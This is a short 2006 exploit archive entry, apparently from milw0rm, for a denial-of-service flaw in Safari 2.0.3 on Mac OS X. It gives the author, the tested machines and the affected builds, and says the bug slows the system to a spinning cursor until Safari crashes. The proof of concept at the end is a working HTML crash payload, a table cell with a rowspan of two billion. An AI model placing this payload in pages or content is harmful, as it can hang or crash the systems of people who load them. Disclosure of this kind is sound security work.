<!-- Apple Mac OS X Safari 2.0.3 Vulnerability ========================================= Author: Yannick von Arx Email: yannick[dot]vonarx[at]yanux[dot]ch Release Date: April 23th, 2006 Vendor: Apple Computer Inc. Tested on: iBook G4 1.2 GHz with Mac OS X 10.4.5 (Build 8H14) + all Updates from Apple except "10.4.6 Update" iBook G4 1.33 GHz with Mac OS X 10.4.6 (Build 8I127) + all Updates from Apple PowerMac G4 Dual 867 MHz with Mac OS X 10.4.6 (Build 8I127) + all Updates from Apple iMac G4 800 MHz with Mac OS X 10.4.6 (Build 8I127) + all Updates from Apple Versions affected: Safari 2.0.3 (417.9.2) latest version under 10.4.5 (Build 8H14) and perhaps prior versions Safari 2.0.3 (417.9.2) latest version under 10.4.6 (Build 8I127) and perhaps prior versions Overview: A vulnerabilitiy exists in Safari 2.0.3 (417.9.2) and perhaps in prior versions which causes the operating system to slow down SRCOD (Spinning Rainbow Cursor Of Death), and therefore, it's not possible to launch any applications like Terminal to kill the process. After several minutes Safari crashes. Technical Details: Create a new File with following code ... --> <HTML> <TABLE> <TR><TD ROWSPAN=2000000000> # milw0rm.com [2006-04-24]